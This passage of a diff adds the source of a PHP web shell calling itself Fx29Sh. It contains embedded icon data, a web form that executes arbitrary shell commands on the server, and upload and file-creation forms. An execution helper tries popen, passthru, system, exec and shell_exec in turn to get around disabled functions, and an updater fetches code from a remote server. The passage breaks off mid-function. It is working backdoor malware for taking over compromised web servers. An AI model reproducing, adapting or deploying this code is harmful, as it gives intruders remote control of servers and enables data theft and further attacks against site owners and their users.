+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp". +"aGeyYpqJlRG/rlwAADs=", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +//Untuk optimalisasi ukuran dan kecepatan. +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; +} +exit; +} +if ($act == "about") { + echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>tristram [CCTeaM]</b><br>". + "Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br>". + "Re-Coding, tricks, html and css by <b>FaTaLisTiCz_Fx [FeeLCoMz CoMMuNiTy]</b><br><br>". + "Report bugs to <a href=\"mailto:feelcomz@gmail.com\">FaTaLisTiCz_Fx</a></b>"; +} +echo "</td></tr></table>\n"; +/*** COMMANDS PANEL ***/ +?> +<div class=bartitle><b>.: COMMANDS PANEL :.</b></div> +<table class=mainpanel> +<tr><td align=right>Command:</td> +<td><form method="POST"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>"> + <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"> + </form> +</td></tr> +<tr><td align=right>Quick Commands:</td> +<td><form method="POST"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type=hidden name="cmd_txt" value="1"> + <select name="cmd"> + <?php + foreach ($cmdaliases as $als) { + echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>"; + } + foreach ($cmdaliases2 as $als) { + echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>"; + } + ?> + </select> <input type=submit name=submit value="Execute"> + </form> +</td></tr> +<tr><td align=right>Upload:</td> +<td><form method="POST" enctype="multipart/form-data"> + <input type=hidden name=act value="upload"> + <input type=hidden name="miniform" value="1"> + <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?> + </form> +</td></tr> +<tr><td align=right>PHP Filesystem:</td> +<td> +<?php ##[ FaTaLisTiCz_Fx TriCkz ]## ?> +<script language="javascript"> +function set_arg(txt1,txt2) { + document.forms.fphpfsys.phpfsysfunc.value.selected = "Download"; + document.forms.fphpfsys.arg1.value = txt1; + document.forms.fphpfsys.arg2.value = txt2; +} +function chg_arg(num,txt1,txt2) { + if (num==0) { + document.forms.fphpfsys.arg1.type = "hidden"; + document.forms.fphpfsys.A1.type = "hidden"; + } + if (num<=1) { + document.forms.fphpfsys.arg2.type = "hidden"; + document.forms.fphpfsys.A2.type = "hidden"; + } + if (num==2) { + document.forms.fphpfsys.A1.type = "label"; + document.forms.fphpfsys.A2.type = "label"; + document.forms.fphpfsys.arg1.type = "text"; + document.forms.fphpfsys.arg2.type = "text"; + } + document.forms.fphpfsys.A1.value = txt1 + ":"; + document.forms.fphpfsys.A2.value = txt2 + ":"; +} +</script> +<?php + echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n". + "<select name=\"phpfsysfunc\">\r\n"; + foreach ($phpfsaliases as $als) { + if ($als[1]==$phpfsysfunc) { + echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n"; + } + else { + echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n"; + } + } + echo "</select>\r\n". + "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n". + "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n". + "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n"; + foreach ($sh_sourcez as $e => $o) { + echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n"; + } + echo "</form>\r\n"; +?> +</td></tr> +<tr><td align=right>Search File:</td> +<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search"> + </form> + </td></tr> +<tr><td align=right>Create File:</td> +<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> + <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?> + </form></td></tr> +<tr><td align=right>View File:</td> +<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View"> + </form></td></tr> +</table> +<?php footer(); ?> +</body></html> +<?php + +########################### +## Fx29Sh CORE FUNCTIONS ## +########################### +function safemode() { + if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; } + else { return FALSE; } +} +function getdisfunc() { + $disfunc = @ini_get("disable_functions"); + if (!empty($disfunc)) { + $disfunc = str_replace(" ","",$disfunc); + $disfunc = explode(",",$disfunc); + } + else { $disfunc= array(); } + return $disfunc; +} +function enabled($func) { + if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; } + else { return FALSE; } +} +function fx29exec($cmd) { + $output = ""; + if ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + return $output; +} +function fx29exec2($cmd) { + $output = ""; + if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + return $output; +} +function which($pr) { + $path = fx29exec("which $pr"); + if(!empty($path)) { return $path; } else { return $pr; } +} + +function get_status() { + function showstat($sup,$stat) { + if ($stat=="on") { return "$sup: <font color=#00FF00><b>ON</b></font>"; } + else { return "$sup: <font color=#FF9900><b>OFF</b></font>"; } + } + $arrfunc = array( + array("MySQL","mysql_connect"), + array("MSSQL","mssql_connect"), + array("Oracle","ocilogon"), + array("PostgreSQL","pg_connect"), + array("Curl","curl_version"), + ); + $arrcmd = array( + array("Fetch","fetch --help"), + array("Wget","wget --help"), + array("Perl","perl -v"), + ); + + $statinfo = array(); + foreach ($arrfunc as $func) { + if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); } + else { $statinfo[] = showstat($func[0],"off"); } + } + $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off"); + foreach ($arrcmd as $cmd) { + if (fx29exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); } + else { $statinfo[] = showstat($cmd[0],"off"); } + } + return implode(" ",$statinfo); +} +function showdisfunc() { + if ($disablefunc = @ini_get("disable_functions")) { + return "<font color=#FF9900><b>".$disablefunc."</b></font>"; + } + else { return "<font color=#00FF00><b>NONE</b></b></font>"; } +} +function disp_drives($curdir,$surl) { + $letters = ""; + $v = explode("\\",$curdir); + $v = $v[0]; + foreach (range("A","Z") as $letter) { + $bool = $isdiskette = $letter == "A"; + if (!$bool) { $bool = is_dir($letter.":\\"); } + if ($bool) { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"". + ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> "; + if ($letter.":" != $v) { $letters .= $letter; } + else { $letters .= "<font color=yellow>".$letter."</font>"; } + $letters .= "</a> "; + } + } + if (!empty($letters)) { Return $letters; } + else {Return "None"; } +} +function disp_freespace($curdrv) { + $free = @disk_free_space($curdrv); + $total = @disk_total_space($curdrv); + if ($free === FALSE) { $free = 0; } + if ($total === FALSE) { $total = 0; } + if ($free < 0) { $free = 0; } + if ($total < 0) { $total = 0; } + $used = $total-$free; + $free_percent = round(100/($total/$free),2)."%"; + $free = view_size($free); + $total = view_size($total); + return "$free of $total ($free_percent)"; +} +## Fx29Sh UPDATE FUNCTIONS ## +function fx29getsource($fn) { + global $fx29sh_sourcesurl; + $array = array( + "fx29sh.php" => "fx29sh.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($fx29sh_sourcesurl.$name);} + else {return FALSE;} +} +function fx29sh_getupdate($update = TRUE) { + $url = $GLOBALS["fx29sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0"); + $data = @file_get_contents($url); + if (!$data) { return "Can't connect to update-server!"; } + else { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: 